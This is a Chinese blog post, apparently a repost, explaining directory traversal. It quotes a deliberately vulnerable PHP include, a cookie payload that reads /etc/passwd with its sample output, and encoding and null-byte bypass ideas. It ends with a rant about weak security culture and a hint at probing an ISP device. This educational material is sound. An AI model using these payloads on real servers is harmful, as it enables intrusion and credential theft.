渗透人员可通过目录遍历攻击获取服务器的配置文件等等资料。一般的说,它调用服务器的标准API、使用的是文件的标准权限。所以它攻击的不是什么漏洞,而是网站设计人员的思想“缺陷”。
常见的目录遍历攻击,访问“../”这类的上级文件夹的文件。“../”和转译攻击在2000年前后就存在了,只是那时候的攻击直接在URL里放字符串就ok了。今天的目录遍历攻击进化了很多。
那么请允许我犯懒,摘取Wiki的几个例子:
<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>
那么一般来说就可以在Cookie做手脚(当然这是数次测试之后才能推测的path):
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
然后服务器乖乖的给了回答:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
是否可以继续利用转译呢,%2e%2e%2f --> "../"
?
<?php
include($_GET['file'] . '.html');
... ...
?>
这种保护是否可以加个NULL+转译什么的跳过去?
如果httpd是Apache这类指定Document root的程序,那么match之后再加 ../
可能发生什么?
是否可以直接执行命令?
我不知道耶!
OWASP有一个cheatsheet。可以看看。
近日看见友人谈到什么执照的民间反映时重提时这个东西,说好像SP有什么自己的IT Security Auditing,还号召各位自律、不要对什么过分行为作出过分的反映,以暴制暴世所不容……这个时候,我恰巧买了个电视盒子,而且网关是我自建的……你明白什么了?我可什么没说耶!
某些人会说,不需要保证业务稳定运行、不担心机密外泄、不怕出丑而损失企业无形资产、只顾忌所谓上级资源(能骗钱就行了)、不需要保护用户资料、不怕微博转发500次、有水军帮忙给好评、有关系给删帖……
……IT安全真不是啥事,不就是某些人用来向上级骗钱的么?钱到手怎么做真是无所谓的。
相比之下,安全不是问题,人是更严重的问题啊!
via idf.cn
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。